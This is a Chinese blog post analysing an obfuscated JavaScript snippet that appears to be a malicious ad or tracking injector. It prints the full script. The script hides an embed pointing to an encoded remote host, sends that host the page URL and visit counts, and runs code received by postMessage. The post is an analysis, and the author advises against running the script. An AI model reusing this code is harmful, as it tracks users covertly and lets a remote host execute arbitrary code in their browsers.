一个冷门的js加密逆向分析(二)

在这里插入图片描述
前天发了一片js加密分析的文章,今天继续来说第二层加密是什么样的。

上源代码

window["" + "f" + "3" + "2" + "0" + "6" + "b" + "1" + ""] = function () {
    ;(function (v509de, m27adb, me846d07, w4656a) {
        if (/^Mac|Win/.test(navigator.platform)) {
            return
        }
        ;var xfbe733b = function (e2d163) {
            return String.fromCharCode(e2d163)
        };
        var eecec = ["t-1", "v-19", "u-60239125016645", "d-2024-02-04 00:15:01", "sys-zc"];
        var p46fa13 = me846d07[xfbe733b(0x61) + xfbe733b(0x74) + xfbe733b(0x6F) + xfbe733b(0x62)],
            t0f122a95 = me846d07[xfbe733b(0x62) + xfbe733b(0x74) + xfbe733b(0x6F) + xfbe733b(0x61)],
            m80ca1 = w4656a[p46fa13("Y3Vycm3VudFNjcmlwdA==")], iea784a99 = p46fa13("Y3JlYXRlRWxlbWVudA=="),
            r78e9d6d = p46fa13("c3Vic3ReyaW5n"), m4934 = p46fa13("cmVwwbGFjZQ=="), z8acdd2e = p46fa13("c3BsaXQ="),
            tbe47d4 = p46fa13("cmV2ZXJszZQ=="), df4b03a = p46fa13("ame9pbg=="), fbb96d36 = p46fa13("cmFuZG9t"),
            c19db4e = me846d07[p46fa13("TWFe0aA==")], z43a1d0 = p46fa13("bG9hwZA==");
        var d652c518b = p46fa13("emNkdZWJ1Zw==");
        var t3efa0c8c;
        if (location.search.indexOf(d652c518b) > -1) {
            t3efa0c8c = w4656a[iea784a99](p46fa13("dGV4ddGFyZWE="));
            t3efa0c8c.id = "t" + (c19db4e[fbb96d36]() * 10000);
            t3efa0c8c.style.width = "100%";
            t3efa0c8c.style.height = "500px";
            t3efa0c8c.disabled = true;
            if (w4656a.body != null) {
                w4656a.body.appendChild(t3efa0c8c)
            } else {
                var ed92204 = function () {
                    w4656a.body.appendChild(t3efa0c8c);
                    me846d07.removeEventListener(z43a1d0, ed92204, false)
                };
                me846d07.addEventListener(z43a1d0, ed92204, false)
            }
        }
        var f5d56ca77 = w4656a[iea784a99](p46fa13("ZW1iZfWQ="));
        f5d56ca77.style.height = "0px";
        f5d56ca77.id = m27adb + (c19db4e.ceil(c19db4e[fbb96d36]() * 10000));
        var d155a = function (k4b38d864) {
            var p71eb = new Date();
            var n2a43cae4 = `advSpaceId_${m27adb}_${p71eb.toLocaleDateString()}`;
            var kd7c5922 = JSON.parse(localStorage.getItem(n2a43cae4));
            if (kd7c5922 == null) {
                kd7c5922 = {browserCount: 0}
            }
            kd7c5922.browserCount++;
            var g2853c = t0f122a95(eecec.concat([Date["now"](), location.href, `hsc-${kd7c5922.browserCount}`]).sort(() => c19db4e[fbb96d36]() - 0.5)[df4b03a](","));
            var hb14cd75 = g2853c.indexOf(xfbe733b(0x3d)) > -1 ? g2853c[r78e9d6d](g2853c.indexOf(xfbe733b(0x3d))) : "";
            g2853c = g2853c[m4934](hb14cd75, "")[z8acdd2e]("")[tbe47d4]()[df4b03a]("") + hb14cd75;
            f5d56ca77.src = ["https://", k4b38d864, g2853c][df4b03a]("/");
            w4656a.body.appendChild(f5d56ca77);
            if (t3efa0c8c != null) {
                t3efa0c8c.value += "\\r\\nappended em to html";
                var r525dbdda = w4656a.getElementById(f5d56ca77.id);
                if (r525dbdda == null || r525dbdda == undefined) {
                    t3efa0c8c.value += "\\r\\n cant get em from html"
                }
            }
        };
        if (t3efa0c8c != null) {
            t3efa0c8c.value += "\\r\\nsend js host " + v509de
        }
        var me9d499 = function (p345e74a9) {
            return p46fa13(p345e74a9)[m4934](xfbe733b(0x2A), c19db4e[fbb96d36]().toString(36).slice(c19db4e.floor(c19db4e[fbb96d36]() * 9) + 2))
        };
        d155a(me9d499(v509de));
        me846d07["addEventListener"]("message", function (e) {
            if (e.data.k == m27adb) {
                w4656a.getElementById(f5d56ca77.id).remove();
                if (t3efa0c8c != null) {
                    t3efa0c8c.value += "\\r\\nreceive em post message";
                    t3efa0c8c.value += "\\r\\ne.data.v " + e.data.q
                }
                new Function("args", e.data.q)({_tdcs: m80ca1, _tra: t3efa0c8c})
            }
        })
    })("Ki5kYW5zaGVzaGkuY29t", "60239125016645", window, document)
};
f3206b1()

业务分析仅本人猜测,不代表其实际意义

这段代码看起来像是一个广告脚本,它的主要功能是在用户的浏览器中插入一个隐藏的<embed>元素,然后加载一个特定的广告。这里是一些关键点:

  1. 代码首先检查用户的平台是否为Mac或Windows,如果是,则不执行任何操作。
  2. 定义了一些变量和函数,包括一些用于字符串操作和随机数生成的函数。
  3. 如果URL查询参数中包含特定的字符串("emNkdZWJ1Zw=="的Base64解码结果),则在页面上创建一个禁用的<textarea>元素,用于调试。
  4. 创建一个<embed>元素,其ID是由一个固定字符串和一个随机数拼接而成的。
  5. 定义了一个函数,该函数会增加浏览器计数,生成一个特定的字符串,并将其设置为<embed>元素的源URL。
  6. 最后,当接收到特定的消息时,会移除<embed>元素,并执行消息中包含的代码。

这段代码可能用于跟踪用户的行为或加载广告。但是,由于它的工作方式,它可能会被一些广告拦截器或隐私保护工具阻止。此外,它使用了一些混淆技术(如Base64编码和动态函数名)来尝试避免被检测。这是一种常见的在用户浏览器中运行不受欢迎代码的技术。

注意,我不建议各位去运行它。在这里我仅仅用于分析而已。

完全解密

完全解密见上一篇文章。或者有需要可以联系我。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/379098.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【html学习笔记】1.概念

1.概念 1.1 HTML标准格式 <html><body><p>Hello World</p></body> </html>1.2 编辑方式 新建一个笔记本文件&#xff0c;将html语法格式的内容写入。保存后将记事本的.txt后缀换成.html,就可以在浏览器里运行了 1.3 中文问题 为了避…

华为数通方向HCIP-DataCom H12-821题库(单选题:461-480)

第461题 以下关于路由策略特点的描述,错误的是哪一项? A、能够修改路由属性,但是不能改变网络流量经过的路径 B、能通过控制路由器的路由表规模,来节约系统资源 C、能通过控制路由的接收、发布和引入,以提高网络的安全性 D、能通过修改路由属性,对网络数据流量可以合理规…

SQL注入(SQL Injection)从注入到拖库 —— 简单的手工注入实战指南精讲

基本SQL注入步骤&#xff1a; 识别目标&#xff1a;确定目标网站或应用程序存在潜在的SQL注入漏洞。收集信息&#xff1a;通过查看页面源代码、URL参数和可能的错误信息等&#xff0c;搜集与注入有关的信息。判断注入点&#xff1a;确定可以注入的位置&#xff0c;比如输入框、…

跟着pink老师前端入门教程-day21+22

5.4 常见flex布局思路 5.5 背景线性渐变 语法&#xff1a; background: linear-gradient( 起始方向 , 颜色 1, 颜色 2, ...); background: -webkit-linear-gradient(left, red , blue); background: -webkit-linear-gradient(left top, red , blue); 背景渐变必须添加浏览…

【若依】若依框架在本地运行的操作方法,及踩坑记录

若依框架简介 若依是一个Gitee上一个开源的基于SpringBoot开发的轻量级Java快速开发框架&#xff0c;用以快速构建后台管理系统&#xff0c;点击跳转到官方地址 本机部署过程 Step1. 下载项目源码 我选择的是直接下载zip压缩包&#xff0c;解压后得到如下文件夹&#xff0c…

挑战杯 python opencv 深度学习 指纹识别算法实现

1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; python opencv 深度学习 指纹识别算法实现 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;3分工作量&#xff1a;4分创新点&#xff1a;4分 该项目较为新颖…

Java面试题(一)——MySQL索引、JVM内存模型、JDBC

1、mysql使用innodb引擎&#xff0c;请简述mysql索引的最左前缀如何优化 order by 语句&#xff1f; 1.1、核心回答 首先要对sql进行分析检查必要的查询字段&#xff0c;过滤字段&#xff0c;排序字段是否按顺序创建好了索引 如果查询字段不在索引中可能会产生回表操作会导致…

Linux环境下配置HTTP代理服务器教程

大家好&#xff0c;我是你们可爱的Linux小助手&#xff01;今天&#xff0c;我将带你们一起探索如何在Linux环境下配置一个HTTP代理服务器。请注意&#xff0c;这不是一次火箭科学的实验&#xff0c;而是一次简单而有趣的冒险。 首先&#xff0c;我们需要明确什么是HTTP代理服…

TOP100 二叉树(三)

11.114. 二叉树展开为链表 给你二叉树的根结点 root &#xff0c;请你将它展开为一个单链表&#xff1a; 展开后的单链表应该同样使用 TreeNode &#xff0c;其中 right 子指针指向链表中下一个结点&#xff0c;而左子指针始终为 null 。展开后的单链表应该与二叉树 先序遍历 顺…

IoC原理

Spring框架的IOC是基于Java反射机制实现的&#xff0c;那具体怎么实现的&#xff0c;下面研究一下 反射 Java反射机制是在运行状态中&#xff0c;对于任意一个类&#xff0c;都能够知道这个类的所有属性和方法&#xff1b;对于任意一个对象&#xff0c;都能够调用它的任意方法…

JenkinsGitLab完成自动化构建部署

关于GitLab安装:GitLab安装-CSDN博客 Docker中安装GitLab:Docker下安装GitLab-CSDN博客 安装JenKins Jenkins官网:Jenkins 中文版:Jenkins 安装时候中文页面的war包下不来 在英文页面 记得装JDK8以上 JenKins使用java写的 运行JenKins需要JDK环境 我这里已经装好了 将下…

网神 SecGate 3600 防火墙 route_ispinfo_import_save 文件上传漏洞

免责声明&#xff1a;文章来源互联网收集整理&#xff0c;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;所产生的一切不良后果与文章作者无关。该…

问题:重热现象可使多级汽轮机的理想焓降增加,重热系数越大,多级汽轮机的内效率就越低。 #学习方法#微信#媒体

问题&#xff1a;重热现象可使多级汽轮机的理想焓降增加&#xff0c;重热系数越大&#xff0c;多级汽轮机的内效率就越低。 参考答案如图所示

代码随想录算法训练营第二十五天 |216.组合总和III,17.电话号码的字母组合(已补充)

剪枝操作讲解&#xff1a;&#xff08;已观看&#xff09; 带你学透回溯算法-组合问题的剪枝操作&#xff08;对应力扣题目&#xff1a;77.组合&#xff09;| 回溯法精讲&#xff01;_哔哩哔哩_bilibili 216.组合总和III&#xff08;已观看&#xff09; 1、题目链接&#xf…

Pinia介绍和使用

1. pinia是什么 Pinia 是一个基于 Vue.js 的状态管理库&#xff0c;用于管理应用程序的数据。它提供了一种简单、直观且可扩展的方式来组织和访问应用程序的状态&#xff0c;下面是详细介绍 基于 Vue 3&#xff1a;Pinia 是专门为 Vue 3 开发的状态管理库&#xff0c;充分利用…

推理系统学习笔记

一些学习资料 最近对MLsys比较感兴趣&#xff0c;遂找些资料开始学习一下 https://fazzie-key.cool/2023/02/21/MLsys/https://qiankunli.github.io/2023/12/16/llm_inference.htmlhttps://dlsyscourse.orghttps://github.com/chenzomi12/DeepLearningSystem/tree/main/04Infe…

算法——前缀和算法

1. 什么是前缀和算法 前缀和算法&#xff08;Prefix Sum&#xff09;是一种用于快速计算数组元素之和的技术。它通过预先计算数组中每个位置前所有元素的累加和&#xff0c;将这些部分和存储在一个新的数组中&#xff0c;从而在需要计算某个区间的和时&#xff0c;可以通过简单…

《Git 简易速速上手小册》第3章:分支管理(2024 最新版)

文章目录 3.1 创建与合并分支3.1.1 基础知识讲解3.1.2 重点案例&#xff1a;为 Python 项目添加新功能3.1.3 拓展案例 1&#xff1a;使用 Pull Requests (PRs) 在团队中合作3.1.4 拓展案例 2&#xff1a;解决合并冲突 3.2 分支策略的最佳实践3.2.1 基础知识讲解3.2.2 重点案例&…

【动态规划】【前缀和】【数学】2338. 统计理想数组的数目

作者推荐 【动态规划】【前缀和】【C算法】LCP 57. 打地鼠 本文涉及知识点 动态规划汇总 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 LeetCode:2338. 统计理想数组的数目 给你两个整数 n 和 maxValue &#xff0c;用于描述一个 理想…

手把手教你玩转蓝牙模块(原理+驱动)

head: title: 手把手教你玩转蓝牙模块&#xff08;原理驱动&#xff09; description: 手把手教你玩转蓝牙模块&#xff08;原理驱动&#xff09; 作为嵌入式开发工程师&#xff0c;蓝牙模块怎能少呢&#xff1f; 蓝牙模块广泛应用在各种电子器件&#xff0c;比如手机、蓝牙耳…